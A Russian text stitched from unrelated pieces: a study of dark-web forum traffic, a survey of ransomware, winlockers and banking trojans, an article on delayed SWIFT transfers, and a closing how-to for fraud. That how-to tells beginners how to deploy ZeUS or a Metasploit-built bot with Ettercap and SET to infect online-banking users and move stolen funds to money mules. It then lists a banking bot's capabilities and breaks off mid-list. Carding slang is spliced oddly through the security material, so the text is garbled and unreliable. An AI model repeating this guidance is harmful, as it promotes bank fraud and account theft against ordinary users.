На прошлой неделе наши эксперты обратили внимание, что операторы англоязычного форума Altenen аналога Darkmoney хвастаются количеством посетителей своего сайта, а также доходами, основываясь на данных, полученных от аналитического сервиса HypeStat.
Дроповоды Altenen явно поделились этой информацией, в надежде прорекламировать себя и привлечь больше посетителей на свою площадку. Глядя на это, наши эксперты решили самостоятельно изучить трафик других популярных открытых и закрытых бордов (форумов), посвещенных реальным процессорам криптовалюты и её обналу (выводу в фиат), и сравнить полученную информацию с собственным впечатлением от этих торговых площадок.
Помимо борда Altenen, наши эксперты проанализировали данные таких англоязычных форумов, как RaidForums, Nulled, Cracked TO и Cracking King, немецкоязычный форум Crimenetwork, а также русскоязычные обнальные ресурсы Exploit и XSS.
Данные для анализа были взяты из открытых источников (из HypeStat и Alexa) и включали в себя рейтинг ресурса, количество уникальных посетителей за день, географию посещений, источники трафика, а также оценку ежедневного дохода от рекламы. Разумеется, собранная статистика не включает в себя посещения .onion-доменов, поэтому данные нельзя назвать исчерпывающими.
Оказалось, что такие борды реального процессинга крипты без предоплаты, как Altenen, Nulled, Exploit и XSS продемонстрировали существенный прирост трафика за последние 90 дней, причем администраторы некоторых из этих ресурсов используют статистику для продвижения своих товаров услуг по процессингу крипты и выводу в фиат, обналу денежных средств. По мнению наших экспертов, торговые площадки явно использовали ботов и накрутки для манипулирования количеством посетителей и повышения своего рейтинга. В частности, резкое повышение рейтинга Altenen выглядит слишком хорошо, чтобы быть правдой, так как ни один другой форум, которые считаются популярными, например RaidForums, не показал подобного роста за аналогичный период времени.
Собранные данные о трафике площадок подобных Darkmoney показывают, что среднее время, проведенное пользователями на форумах и площадках в поисках реальных процессоров крипты и обнальных услуг, колеблется от 6 до 22 минут. Однако наши эксперты считают, что эти цифры тоже могут быть не слишком точным. Дело в том, что пользователи, к примеру, в среднем проводят менее 8 минут на Exploit, однако это полностью закрытый форум, его не посещают случайные люди, и на самом деле они, вероятно, проводят на сайте куда больше времени.
Что касается доходов от рекламы, то наши исследователи полагают, что аналитические сервисы вообще не отражают фактическую экономику форумов, так как обнальные площадки могут зарабатывать деньги на платном членстве, а некоторые получают комиссионные за каждую транзакцию по процессингу и обналу крипты с вводом в фиат через карты или счёта дропов.
Наши эксперты резюмируют, что ключевой вывод, который можно сделать из этого анализа, заключается в том, что метриками трафика можно манипулировать, в том числе с помощью ботов и VPN, а некоторые обнальные платформы используют статистические данные, чтобы привлечь к себе внимание криптовалютных дропов. Более того, составить реальную картину происходящего, опираясь на такие цифры, вряд ли возможно. При оценке форумов контекст имеет решающее значение. Цифры сами по себе не дают полной картины и представления о содержимом форума и его пользователях, а также о реальной экономике ресурса и не объясняют колебания количества посетителей.
Чтобы получить глубокое представление о деательности дроповодов и активности на криптообнальных форумах, нужно много ручного труда и длительное время. Нельзя составить картину, опираясь лишь на показатели посещаемости сайта. Подобные исследования в очередной раз подчеркивают необходимость постоянного участия человека в процессе, важность сочетания ручного и автоматического подхода. Анализ big data может дать общее представление о том, что происходит, однако без агентурной работы многие важные детали и нюансы будут упущены.
В нынешних компьютерах и смартфонах хранятся живые деньги. Ну, пусть не хранятся, но уж доступ-то к ним вполне себе можно поиметь, причём практически за так!
Как известно, времена идейных хактивистов давно прошли, в отдельно взятых странах наступил капитализм, и пишут вредоносный код теперь почти исключительно на коммерческой основе именно для того, чтобы скачать деньги с телефона или банковского счёта какого-нибудь лоха. Конечно, идейные люди остались, но они скорее поставщики интересных фишек и способов обхода механизмов безопасности операционной системы Windows, а другие, более ушлые люди реализуют эти наработки в своих творениях для заработка онлайн.
Сделать процессинг фиата с карты или счёта холдера можно и сейчас, так сказать, прямо и косвенно. Одни боты для заработка ориентируются на монетизацию аппаратных ресурсов и вычислительных мощностей конечных пользователей. Сюда относятся: организация прокси- и DDoS-атак, рассылка спама, майнинг криптовалют, накрутка посещений сайтов (black SEO), переход по рекламным баннерам сети Google AdSense (click fraud). Яркий представитель группы — ZeroAccess. Эти программы для заработка в сети не причиняют непосредственный ущерб пользователю. Единственные неприятности от таких программ — замедление работы компьютера и сбои в сети. А в современных условиях, когда вычислительные мощности стали достаточно большими, пользователь вообще может не подозревать, что его компьютер стал частью ботнета, монетизирующего трафик.
Другие представители malware онлайн заработка в сети наносят пользователю ощутимый вред, в том числе финансовый. К этой категории относятся: программы-вымогатели, куда входят две разновидности — локеры и шифровальщики, хотя в последнее время границы между ними размываются; фейковые антивирусы, требующие определенную сумму за установку (это проходит по категории «мошенничество»); банковские боты, предназначенные для угона учетных данных пользователей и процессинга фиата на счета неразводных дропов через системы дистанционного банковского обслуживания (ДБО), «классические» представители — Zeus и его последователи — SpyEye и Citadel, CarberP.
Как ты можешь заметить, интерес мундиров к этим группам малвари будет отличаться. К первой группе интерес маленький, ко второй — большой, так как в первом случае пользователь максимум переставит себе ось, а во втором — побежит с заявой в полицию, о том, что неизвестных дроповод спроцессил все его деньги с банковского счёта. Есть мнение, что таким образом некоторые трояномейкеры пытаются поменьше привлекать внимание к себе и своим поделкам.
Далее как раз и будут рассмотрены некоторые представители второй группы.
Есть еще третья группа — шпионские программы, как широкой (spyware), так и специальной (APT) направленности. Эта тема сейчас активно форсится всеми антивирусными вендорами, но обычных пользователей это, как правило, не касается. В данном случае монетизация достигается тем, что такие трояны добывают конфиденциальную информацию, за которую заказчики готовы заплатить кругленькую сумму.
Настораживает, что многие европейские фирмы (Gamma Group, Hacking Team) в открытую предлагают услуги по массовой установке так называемых «государственных» троянов, которые на бумаге предназначены для сотрудников правоохранительных органов и спецслужб, а по факту могут применяться любым, кто располагает соответствующими финансовыми средствами. По информации компании McAfee, разработчики трояна Citadel, уже ставшего «классикой», в настоящее время «ушли в тень», и стали внедрять шпионские модули, и, судя по всему, тоже начали предлагать свои услуги государственным и коммерческим организациям, занимающимся добыванием информации в интернете.
Винлокеры такие всякие
Впервые они появились в конце десятых годов. Широкое распространение получили зимой прошлого года, по некоторым данным оказались заражены миллионы компьютеров, преимущественно среди пользователей Рунета. В простейшем случае после загрузки ОС или даже до нее (встречались и такие экземпляры) показывалось красивое окошечко с требованием отправить каким-либо способом энную сумму дроповодам в обмен на код разблокировки. Общий совет от сотрудников антивирусных компаний — ничего не платите! Время «честных» винлокеров, содержащих в себе функционал автоудаления по коду, давно прошло, и сейчас эту рыночную нишу облюбовали детишки с непомерными амбициями. Многочисленные форумы запестрели постами с генераторами и исходными кодами локеров. Вот, например, одна поделка (см. рис. 1), на которую невозможно смотреть без смеха, — Winlock by DragonGang. Размер шедевра потрясает воображение — целых семь метров! Написан в среде Delphi 7. Код разблокировки 141989081989 хранится в исполняемом файле в открытом виде. Есть мнение, что текст намеренно написан в стиле незабвенного Джамшута и автор за счет этого пропиарился на весь интернет.
Рис. 1. Локер-гастарбайтер
А пока школьники окучивают славянскую аудиторию, «коммерсанты» от мира троянов наводняют винлокерами зарубежье. Даже появился специальный термин — мультилокер. Это такой локер, который изначально не содержит в себе никаких ресурсов — надписей, картинок и прочего, а загружает их с командного центра дроповодов, при этом скачиваемое содержимое зависит от страны, которая определяется по IP-адресу. Основная тематика мультилокеров — обвинение пользователя в просмотре порнографических материалов с участием несовершеннолетних, сами знаете — с этим за рубежом строго. При этом в качестве доказательства жертве демонстрируются якобы просмотренные ею снимки, а также имена, даты рождения и место проживания несовершеннолетних, изображенных на фото. Последние разработки учли массовое распространение ноутбуков, которые почти всегда имеют встроенную веб-камеру: пользователя снимают и затем демонстрируют фото, что еще больше усиливает эффект присутствия Большого Брата, то есть слежки со стороны ФБР или еще какой правоохранительной организации. Или вот фишка — сканирование истории посещенных сайтов в браузере. Не секрет, что большинство мужского населения мира периодически, кхм, любуются на голых женщин из видео в интернет. Поэтому, когда у пользователя на экране появляется заставка о штрафе с символикой Интерпола и перечнем посещенных «злачных» мест интернета, у него не возникает даже тени сомнения в том, что это взаправду.
Таким образом, рынок винлокеров сегментировался: с одной стороны выступают скрипткидисы с кулхацкерами, с другой — «ветераны» троянописательства, пишущие мультилокеры на манер ботсетей с собственными центрами управления.
Один из наиболее сложных и высокопрофессионально написанных буткитов Gapz также имеет в своем арсенале модулей локер. Компонент с таким функционалом проверяет по IP-адресу местонахождение заряженого компьютера, и если холдер живет в Западной Европе или Америке, то система блокируется и выводится окно с требованием перевести определенную сумму на указанный счет в криптовалюте. Отличает этот локер то, что он перехватывает изображение с подключенной к заряженому компьютеру веб-камеры и показывает его в окне с требованием оплаты (не зря у меня камера изолентой заклеена. Я серьезно. — Прим. ред.).
Особняком стоят локеры, которые блокируют доступ не к операционной системе, а к каким-либо популярным ресурсам из браузера. В апреле этого года зафиксирован шквал запросов от пользователей о невозможности входа на сайты ВКонтакте, Одноклассники и Mail.ru. Вместо соответствующих интернет-ресурсов в окне браузера демонстрировались веб-страницы с сообщением о том, что профиль пользователя заблокирован в связи с подозрением на взлом аккаунта, и предложением ввести свой номер телефона. После ввода номера в SMS приходит код, который пользователь опять-таки посредством SMS должен подтвердить. По факту за отправку этого SMS снимается значительная сумма денег. В ходе разбирательств было установлено, что все это — проделки малвари, заменяющей системный файл rpcss.dll на свой кастомный код. ESET определяет эту угрозу как Win32/Patched.IB. Запущенный локер подменяет DNS-запросы, возвращая IP подконтрольных дроповодам серверов, содержащих веб-страницы, имитирующие целевой ресурс — vk.com, odnoklassniki.ru, mail.ru. При этом в адресной строке браузера отображается правильный URL. Корректного метода лечения для всех многочисленных модификаций Win32/Patched.IB у большинства антивирусных продуктов на момент написания статьи нет. Для лечения вручную необходимо взять чистую rpcss.dll, загрузиться с LiveCD и заменить ей кастомную библиотеку, внедрённую дроповодом. Оригинальная rpcss.dll должна соответствовать версии, разрядности и установленным сервис-пакам установленной Windows (Patched.IB успешно работает как в XP, так и в Seven, в том числе x64).
Среди других угроз подобного типа можно отметить появление очередной модификации трояна семейства Mayachok. По информации антивирусных аналитиков Dr.Web, Trojan.Mayachok.18607 представляет собой совершенно самостоятельный вариант, написанный «по мотивам». В качестве примера подражания была взята логика трояна Mayachok.1, который получил широкое распространение во второй половине прошлого года. В настоящее время в ходу версия Trojan.Mayachok.2, имеющая функции буткита. Характерная черта семейства Trojan.Mayachok — использование веб-инжектов (см. рис. 2).
Рис. 2. Вид одной из фейковых страниц Mayachok
Жалкие последователи GPCode
Шифровальщики — это, пожалуй, самое неприятное, что можно подцепить в этих ваших интернетах. Все файлы определенных типов, например фотографии или документы Microsoft Office, шифруются и за ключ расшифровки требуют деньги, причём в криптовалюте. Очень актуальна эта проблема для малых коммерческих фирм, работающих с бухгалтерией при помощи продуктов 1С, — тем более что понятие о безопасности в таких конторах, как правило, отсутствует напрочь.
Наиболее часто встречаются сейчас среди русскоязычных пользователей шифровальщики семейства Trojan-Ransom.Win32.Xorist (в терминологии «Лаборатории Касперского»), англоязычная версия также в наличии. При успешном срабатывании Xorist пользователь будет лицезреть веселенький текст следующего содержания:
«ПЯTНАДЦАTЬ ЧЕЛОВЕК НА СУНДУК МЕРТВЕЦА!
Хай! Пиплы! Комон на борт нашего «Летучего голландца».
Ваш компьютер взят на абордаж командой сомалийских пиратов.
Ваши файлы зашифрованы нашим морским криптографом Базоном Хикса.
Если вы мудрый и не скряга, не шизанутый депутат из фракции ЛДПР, то
мы готовы обменять вашу драгоценную инфу на жалкие бумажки, именуемые бабками.
Поверьте, бабло — зло — отдайте его нам. Алчных и неадекватных типов за борт.
Веселым и находчивым скидки. У вас три дня до отплытия корабля.
Для переговоров собираемся в кают-компании, SOS на мыло Номер компании <КОД><E-MAIL>»
Как видно, ребята подобрались с юмором. Засилье Xorist объясняется сборкой его с помощью билдера, легкодоступного жадным детишкам.
Вот еще один образец послания от создателей ransomware (Trojan.Encoder.205 и Trojan.Encoder.215):
Все важные для Вас данные на этом компьютере (документы, изображения, базы данных, почтовая переписка и т. д.) зашифрованы с использованием уникального криптографического алгоритма.
Без специального программного обеспечения расшифровка одного файла с использованием самых мощных компьютеров займет около года.
Для того чтобы зашифрованные файлы стали доступны для дальнейшего использования, Вам необходимо связаться со специалистом по e-mail: specialmist@gmail.com.
Время ожидания ответа может составлять до 12 часов.
Переустановка операционной системы не поможет.
Проверка файлов антивирусом может их повредить.
Какое-либо изменение структуры файла не позволит его восстановить.
При поступлении угроз в наш адрес Ваши данные не будут расшифрованы.
Обращаем внимание, что файлы можно расшифровать только с использованием специального программного обеспечения, которое есть только у нас.
Внедрение на целевую машину холдера Trojan.Encoder.205 и Trojan.Encoder.215 происходит с использованием массовой рассылки сообщений электронной почты (Владимир, это ты так спам называешь? — Прим. ред.). Исполняемый файл шифровальщика с именем update.exe (написан на Delphi) размещается на удаленных серверах, шелл-код, который подгружает этот файл, располагается в заряженом документе Microsoft Word и использует для своего запуска эксплуатацию уязвимости CVE–2012–0158.
Отдельные разработчики проявляют чуть больше изобретательности в реализации своих идей. Специалисты компании Dr.Web в этом году зафиксировали во Франции и Испании множество случаев снаряжения пользователей трояном ArchiveLock.20. Для шифрования он имеет на борту консольную версию WinRAR, при помощи которой создает по заранее составленному списку защищенные паролем самораспаковывающиеся архивы с файлами пользователя. Пароль может иметь длину более 50 символов. Исходные файлы зачищаются с диска, чтобы их было невозможно восстановить. Дроповоды отличаются неслыханной наглостью и требуют за расшифровку 5000 долларов США. ArchiveLock распространяется посредством bruteforce-атак на протокол RDP.
Для расшифровки ваших бесценных файлов нужно обратиться к специалистам антивирусных компаний. Отечественные конторы делают это на бесплатной основе и постоянно выпускают обновленные версии дешифровальщиков для отдельных видов угроз. К сожалению, некоторые их виды, например GPCode, оказались им не по зубам. Версия GPCode прошлого года может считаться неким «эталоном» шифровальщика, она использует Windows Crypto API и шифрует файлы пользователя случайным сеансовым ключом AES длиной 256 бит. Сеансовый ключ сохраняется в зашифрованном виде, шифрование производится открытым ключом RSA длиной 1024 бита, который находится внутри GPCode. Чтобы невозможно было восстановить их утилитами типа PhotoRec или GetDataBack, шифрованные данные пишутся прямо в исходный файл. Также эта уловка затрудняет использование метода plain text attack, суть которого заключается в определении сеансового ключа на основе пары файлов — исходного и зашифрованного. Для расшифровки необходимо перечислить определенную денежную сумму в криптовалюте по реквизитам, оставленным дроповодом, и переслать ему этот зашифрованный сеансовый ключ. Он расшифровывается при помощи закрытого ключа (находится у ддроповода) и отправляется обратно пользователю, после чего файлы будут успешно расшифрованы. Единственная надежная защита от воздействия подобных программ — резервное копирование файлов. Стоит отметить, что автор GPCode совершенствовал свое детище аж с середины нулевых годов! За это время код проделал долгий путь от использования «самопальных» алгоритмов шифрования до применения достаточно стойких алгоритмов RC4 и AES в совокупности с RSA, которые не под силу взломать (пока) всем IT-специалистам мира. В свете этого становится непонятно, почему шифровальщики нашего времени, подобные Xorist, тоже используют собственные «мегаразработки». Видно, современная криптография вкупе с необходимостью юзать Windows Crypto API или фришную реализацию криптофункций OpenSSL не дается нынешнему поколению кулхацкеров, только открывших для себя логическую функцию XOR.
Процессинг фиата и крипты — проще не придумаешь
Сама идея троянов, использующих учетные данные рандомных пользователей дистанционного банковского обслуживания и осуществляющщих процессинг фиата на счета неразводных дропов со смартфонах холдеров, не нова. Для противодействия им была придумана технология двухфакторной аутентификации. Многие наверняка знают, что это такое, а для тех, кто не знает, поясним — кроме логина и пароля, используется дополнительный элемент, в качестве которого выступает специальный код (так называемый mTan — mobile transaction authentication number — мобильный код аутентификации транзакций), который приходит в SMS. Однако методы использования чужих учетных данных и процессинга фиата с каждым годом становятся все изощреннее. Бурное развитие технологий, в частности массовое распространение смартфонов, играет на руку дроповодам и процессорам фиата и создает лазейки для обхода двухфакторной аутентификации. Первопроходцами в этом деле стали семейства Zeus и SpyEye. Схема обхода следующая (см. рис. 3):
Рис. 3. Схема обхода двухфакторной аутентификации
Персональный компьютер или смартфон заряжается каким-либо способом — например, через связку сплоитов, PDF- или doc-файл, пришедший по почте или apk файл.
В момент, когда холдер логинится на сайт банка, троян на лету прямо в браузере модифицирует HTML-страницу при помощи веб-инжекта и добавляет поля «Номер мобильного телефона» и «Версия мобильной ОС» (Android, BlackBerry, iOS, Symbian или другая) или же непосредственно управляет банковским приложением, установленным на смартфоне без ведома холдера.
После ввода данных пользователем они отправляются на командный сервер дроповодам.
Пользователю приходит SMS со ссылкой на приложение или пуш уведомление на телефон. В терминологии антивирусных контор приложения получили названия ZitMo (Zeus-in-the-Mobile) и SpitMo (SpyEye-in-the-Mobile), чуть позже к ним присоединился CitMo (Carberp-in-the-Mobile).
После закрепления на смартфоне у дроповодов есть все необходимое — логин, пароль и канал доставки SMS с кодом, запрос на транзакцию поступает в банк.
Банк высылает SMS.
Троян в смартфоне скрытно, не показывая холдеру, отсылает на командный центр полученный в SMS mTan, при помощи которого дроповоды подтверждают транзакцию, либо весь этот процесс происходит на самом смартфоне без отправки на командный сервер в банковском приложении автоматически.
В схеме возможны вариации, например, ссылка на мобильную версию банковского бота процессинга дроповодов может внедряться прямо в страницу банка в виде QR-кода. Также некоторые банки фиксируют IP клиента, и в этом случае транзакция инициируется трояном с зараженной машины или смартфона, который выступает в качестве своеобразного прокси-сервера. К слову сказать, двухфакторная аутентификация более распространена в Европе, чем в Америке, поэтому ZitMo и SpitMo для процессинга фиата в большей степени ориентированы на Евросоюз. В противовес этому CitMo, да и сам Carberp был ориентирован на пользователей из России.
В качестве одного из последних громких дел с процессингом фиата можно вспомнить акцию Eurograbber, раскрытую в конце прошлого года. Согласно отчету компаний Check Point Software Technologies и Versafe, денежные средства на сумму около 36 миллионов евро были переведены на счета неразводных дропов по всему Евросоюзу с более 30 тысяч корпоративных и частных банковских счетов легальных холдеров. В ходе акции Eurograbber использовалась очередная модификация Zeus на пару с ZitMo.
Из последних новинок в сфере банковских троянов эксперты отмечают появление весной этого года нового варианта трояна Gozi. Последняя его версия, обнаруженная сотрудниками компании Trusteer, содержит функционал MBR-буткита. Компонент, запускаемый буткитом после загрузки операционной системы, ожидает запуска браузера Internet Explorer и внедряет специальный код для процессинга фиата со счетов легальных холдеров в рабочие процессы браузера, что позволяет перехватывать содержимое HTTP-запросов и ответов для последующей модификации.
Рис. 4. Модифицированная Gozi банковская форма ввода
В качестве более надежной защиты при банковских транзакциях выступают аппаратные девайсы — токены, которые содержат в себе закрытые ключи для реализации технологии электронной цифровой подписи. Однако и здесь дроповодам есть чем ответить. Достаточно лишь получить полный доступ к удаленному рабочему столу ПЭВМ легального холдера. Организуется такой доступ, как правило, посредством VNC, благо в Сети полно исходных кодов таких серверов, для примера — проекты UltraVNC и TightVNC. Кстати, именно на основе последнего созданы две полезные нагрузки в Metasploit — win32_bind_vncinject и win32_reverse_vncinject. Эти нагрузки представляют собой DLL, запускающие на локальной машине VNC-сервер с поддержкой прямого (мы коннектимся к целевой машине холдера) и обратного (целевая машина холдера коннектится к серверу дроповода) соединений. Отдельные виды банковских ботов используют свою собственную реализацию VNC-сервера, например Zeus и Citadel.
Кроме VNC, можно попробовать использовать «легитимные» утилиты удаленного администрирования, слегка подрихтовав их напильником. Именно так поступают создатели трояна Carberp, ориентированного на угон банковских реквизитов и процессинг фиата на счета неразводных дропов в рублёвой зоне. Используемые ими продукты: в прошлом году — BeTwin Thinsoft for RDP и TeamViewer, в начале десятых — Mipko Personal Monitor и в текущщем сезоне — Ammyy Admin. Их исполняемые модули не модифицировались, что позволяло сохранить легальную цифровую подпись — на первых порах это неплохо сбивало с толку антивирусные продукты. Дроповоды просто создавали нужную им DLL с именем одной из импортируемых библиотек, например tv.dll для TeamViewer, а оригинальную переименовывали (в ts.dll). Библиотека tv.dll передавала код доступа к компьютеру на управляющий сервер и служила переходником к ts.dll, из которой вызывались оригинальные функции. Все компоненты помещались в самописный инсталлятор (дроппер), который сохранял их в каталоге, доступном на запись (Application Data), и прописывал в автозагрузку. В начале десятых годов подобные вещи часто делали с Remote Admin, да и теперь на форумах и площадках даркнета спрашивают иногда, хотя все уже на ура палится. Между прочим, данный метод сейчас активно используется и в шпионских целях спецслужбами по всему миру. По результатам анализа Центра глобальных исследований и анализа угроз «Лаборатории Касперского» (GReAT), одна из групп дроповодов, названная TeamSpy Crew, провела серию целевых атак, направленных против политических деятелей и правозащитников на территории СНГ и восточноевропейских стран, при этом для организации несанкционированного доступа к ЭВМ использовалась как раз «заряженая» версия TeamViewer.
Как попасть в тему процессинга и остаться в ней
Как ты мог сам убедиться, вариаций процессинга фиата и крипты в интернете огромное множество. И к сожалению, полагаться на то, что один антивирус тебя защитит от этих напастей, не стоит. Помочь тут может только совершенствование своей компьютерной грамотности. В то же время многие пользователи недооценивают данную угрозу. Отчасти это происходит из-за смещения фокуса аудитории интернета в сторону тех зловредов, на которых больше всего пиарятся антивирусные компании. За примерами далеко ходить не нужно, вот два «топовых» слова — Stuxnet и Red October. А банковские трояны — это, по словам одного эксперта по безопасности, для России не актуально, у нас, мол, системы дистанционного банковского обслуживания мало распространены, потому что большинство использует мобильные банковские приложения. ОK, давайте пить боржоми, когда почки уже отвалились. Такая вот ориентация на корпоративный уровень весьма прискорбна. Простому пользователю все эти стакснеты и красные октябри ничего плохого не сделали, кто их защитит от действительно актуальных для них угроз? Целевые организации и предприятия, против которых были направлены Stuxnet и Red October, напротив, были сами в состоянии обеспечить свою безопасность.
Резюме: резервное копирование информации, работа с правами пользователя, внимательность при работе с дистанционным банковским обслуживанием, постоянное обновление софта из надежных источников и какой-никакой антивирус с файрволом «спасут отца русской демократии».
Глоссарий
Веб-инжект — это технология, позволяющая изменить содержимое веб-страницы на стороне клиента (в браузере) и добавить туда своей контент. Технология базируется на инжекте кастомного кода в адресное пространство браузеров и перехвате всех HTTP-запросов холдера и ответов от сервера. Под веб-инжектами также понимают файлы, содержащие информацию, для каких сайтов или приложений для смартфона, на какой странице, в каком её месте, что на что нужно поменять. Для кодинга таких файлов трояномейкеры нанимают толковых ребят, в совершенстве владеющих HTML и JavaScript, ну или пишут сами. При посещении пользователем интересующего дроповодов сайта или запуска банковского приложения на смартфоне код дроповодов вставляет в ответ сервера JavaScript-код (в отдельных случаях отмечалось использование библиотеки jQuery), который и подменяет контент исходной страницы, например добавляет на форму ввода поля, которых изначально там не было.
VNC (Virtual Network Computing) — система удаленного доступа к рабочему столу компьютера, использующая протокол удаленного кадрового буфера (RFB). По сети с одного компьютера на другой передаются нажатия клавиш на клавиатуре и движения мыши и отображается содержимое экрана. Программа, принимающая ввод пользователя, называется сервером, программа, отображающая удаленный экран, называется клиентом (или viewer).
RFB (remote frame buffer) — протокол прикладного уровня для доступа к графическому рабочему столу. Его можно применять для графических оконных систем, таких как Windows и X-Window в *nix-системах. Суть RFB — передача прямоугольных областей экрана. Для уменьшения трафика используются различные методы определения, какая область экрана обновилась и какое сжатие использовать при передаче.
По умолчанию VNC использует диапазон TCP-портов с 5900 до 5906. Каждый порт связан с соответствующим экраном X-сервера в *nix-системах. В ОС Windows используется только один порт — 5900.
Сейчас SWIFT-переводы, отправленные из России могут не доходить до получателя по несколько месяцев. Клиенты банков, которые отправляют деньги из этой страны, но не получают их на свои счета или счета родственников, объединились в Telegram-чате «SWIFT — пропали деньги». В нем состоит более 8000 человек, которые делятся советами, как вернуть отправленные на Запад деньги и в какие банки вообще не стоит отправлять валютные переводы.
Обычно в осуществлении денежного перевода через систему SWIFT участвуют не только банк-отправитель и получатель, но и посредники — банки-корреспонденты. Поэтому, если отправленная сумма потерялась по пути — она могла «застрять» на разных этапах.
Если клиент банка отправил деньги через систему SWIFT, но сумма так и не дошла до получателя, в первую очередь отправителю нужно обратиться в поддержку своего банка. Банк-отправитель может рассказать, прошел ли перевод финансовый мониторинг (проверку, которой подвергаются все валютные переводы за границу), был ли выпущен платёж из этой страны и принят ли банком-корреспондентом.
В настоящее время клиенты российских банков часто жалуются на проблемы на стороне зарубежных банков-корреспондентов или получателей — например таких как Bank of America или Deutsche Bank. Так, пользователь по имени Иван рассказал, что в конце мая он отправил перевод из банка «Тинькофф» в американский Bank of America. По его словам, со своей стороны «Тинькофф» отправил деньги быстро, но проверка перевода в американском банке длится уже с середины июня. Аналогичной историей поделился другой участник чата Сергей — его перевод уже две недели находится на дополнительной проверке в Bank of America. «Банк запросил цель платежа, всё им отправлял неделю назад, и тишина», — пишет Сергей.
Однако, общение с банком-получателем не всегда дает положительный результат, порой службы поддержки банков не дают точные ответы о месте нахождения отправленных денег. В этом случае можно запросить у банка-отправителя код для GPI-трекинга и отследить перевод — услугу трекинга может предоставить сам банк, отследить статус перевода можно также на сайтах крупных банков-корреспондентов (Deutsche Bank, JPMorgan) или, например, на сайте OhMySwift, — зтот сервис для отслеживания SWIFT-переводов запустил независимый от банков предприниматель Андрей Авраменко.
Порой определение местонахождения перевода не решает проблему. Так случилось у клиента «Тинькофф» Николая Плешакова: 12 апреля он отправил в Испанию €4000, однако, перевод так и не пришел на счет получателя. Николай обратился в поддержку банка «Тинькофф», и ему сообщили, что клиент должен сам искать перевод и посоветовали Николаю обратиться к зарубежному банку-корреспонденту (им был Raiffeisen Bank International).
Николай написал в банк-корреспондент, но и поддержка иностранного банка отказалась решать проблему. «В европейском банке мне объяснили, что для них я не клиент, и всю информацию должен запрашивать сам банк-отправитель», — рассказывает он.
После этого Николай повторно связался с банком «Тинькофф», который «после эмоциональной переписки» согласился отправить заявление в свой европейский банк-корреспондент на розыск перевода Николая. Общение с банками заняло у клиента несколько месяцев, а деньги вернулись к нему на счет только в начале июля. При этом банк «Тинькофф» удержал со своего клиента €200, объяснив, что возврат средств считается входящим SWIFT-переводом и облагается комиссией. Клиент опротестовал комиссию, в итоге списанные €200 вернулись через три дня.
За прошедшие пять лет на биржи дроповодами всех мастей было отправлено около $100 млрд «грязной» криптовалюты, связанной с не совсем уж так скажем легальной деятельностью
Что нужно для того, чтобы начать делатьь деньги в интернете, или как говорят профессионалы, осуществлять процессинг на банковскую карту или счет? — этот вопрос сегодня интересует многих новичков хай-риск бизнеса.
Не секрет, что начинать делать ббизнес в интернете можно с использования таких программных продуктов как Citadel, ZeUS или CarberP, применяя их в процессинге, хотя этот способ транзита фиатных денежных средств и проведения серых криптовалютных транзакций уже теряет свою актуальность и популярность, и на смену ему приходит покупка и продажа найденных SQL-injection банковских или криптовалютных Web-площщадок, эксплуатируя которую можно получить доступ к базе данных платежей или же к базе, где хранятся данные о приватных ключах криптокошелков или другую значимую информацию финансового учреждения.
Так с чего же начинается процессинг сумм на реальный пластик неразводных или разводных дропов, и как все-таки можно найти подходящую площадку в сети?
Предположим у вас уже установлена панель дроповода бот-сети ZeUS или любого другого, при желании, вы даже можете использовать подписанный цифровым сертификатом кастомный бот, сгенерированный в системе Metasploit Pro. Далее его нужно запустить на целевых машинах пользователей того или иного финансового учреждения, обменника или криптомоста.
Для этого Вам понадобится две вещи — это целефой трафик (его можно добыть, используя фильтры Ettercap NG) и Web attack SET модуль, встроенный в Metasploit, потому как он периодически обновляется причем бесплатно, а покупать чью-то связку смысла в этом случае нет никакого.
Далее смотрим видео, как всё это происходит и опа, мы имеем прогуженный бот на машинах пользователей интернет-банкинга и вольных криптанов.
Теперь можно начинать свой бизнес в интернете, делать транзакции на счета и карты своих разводных или неразводных дропов, или, как говорят в обнальном мире, осуществлять процессинг.
Язык и IDE программирования:
Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).
Поддерживаемые ОС:
XP/Vista/Seven, а также 2003/2003R2/2008/2008R2. В том числе работа под Windows x64, но только для 32-x битных процессов. Также сохраняется полноценная работа бота при активных сессиях «Terminal Servers».
Принцип действия:
Бот основан на перехвате WinAPI, методом сплайсинга в ring3(пользовательский режим), путем запуска копии своего кода в каждом процессе пользователя (без использования DLL).
Процесс установки:
В данный момент, в первую очередь бот ориентирован на работу под Vista/Seven, с включенным UAC, и без использования локальных сплойтов. Поэтому бот рассчитан на работу с минимальными привилегиями пользователя (включая пользователя «Гость»), с связи с этим бот всегда работает в пределах сессий одного пользователя (из-под которого производилась установка бота.). Бот может быть установлен для каждого пользователя в ОС, при этом боты не будут знать о существовании друг друга. При запуске бота из под пользователя «LocalSystem» произойдет попытка заражение всех пользователей в системе.
При установке, бот создает свою копию в домашней директории пользователя, эта копия является привязанной к текущему пользователю и ОС, и не может быть запущена в другом пользователе, или тем более ОС. Оригинальная же копия бота (используемая для установки), будет автоматически удалена, в независимости от успеха установки.
Сессия с сервером (панелью управления):
Сессия с сервером осуществляется через различные процессы из внутреннего «белого списка», что позволяет обойти большинство фаерволов. Во время сессии бот может получить конфигурацию, отправить накопившиеся отчеты, сообщить о своем состоянии серверу, и получить команды для исполнения на компьютере. Сессия происходит через HTTP-протокол, все данные отсылаемые ботом и получаемые от сервера шифруются уникальным ключом для каждого ботнета.
Защита:
Уникальные имена всех объектов (файлов, мютексов, ключей реестра) создаваемых ботом для каждого пользователя и ботнета.
Установленный бот не может быть запущен с иной ОС или пользователя. Уничтожается код, служащий для установки бота.
В данный момент не производиться скрытие файлов бота через WinAPI, т.к. антивирусные инструменты очень легко находят такие файла, и позволяют точно определить местоположение бота.
Автообновление бота, не требующие перезагрузки.
Контроль цельности файлов бота.
Функции серверной части бота:
Сервер Socks 4/4a/5 с поддержкой UDP и IPv6.
Бэкконект для любого сервиса (RDP, Socks, FTP, и т.д.) на зараженной машине. Т.е. возможно получить доступ к компьютеру, который находится за NAT, или, например, к которому запрещены подключения фаерволом. Для работы этой функции используется дополнительное приложение, запускаемое на любом Windows-сервере в интернете, который имеет выделенный IP.
Получение скриншота рабочего стола в реальном времени.
Получение из содержимого страницы нужных частей данных (например баланса банковского аккаунта).
Временная блокировка HTTP-инжектов и HTTP-фейков.
Временная блокировка доступа к определнным URL.
Блокировка логирования запросов для определённых URL.
Принудительное логирование всех GET запросов для определенных URL.
Создание снимка экрана вокруг курсора мыши во время клика ее кнопок.
Получение сессионных кукисов и блокировка доступа пользователя к определенным URL.
Получение важных данных из программ пользователя:
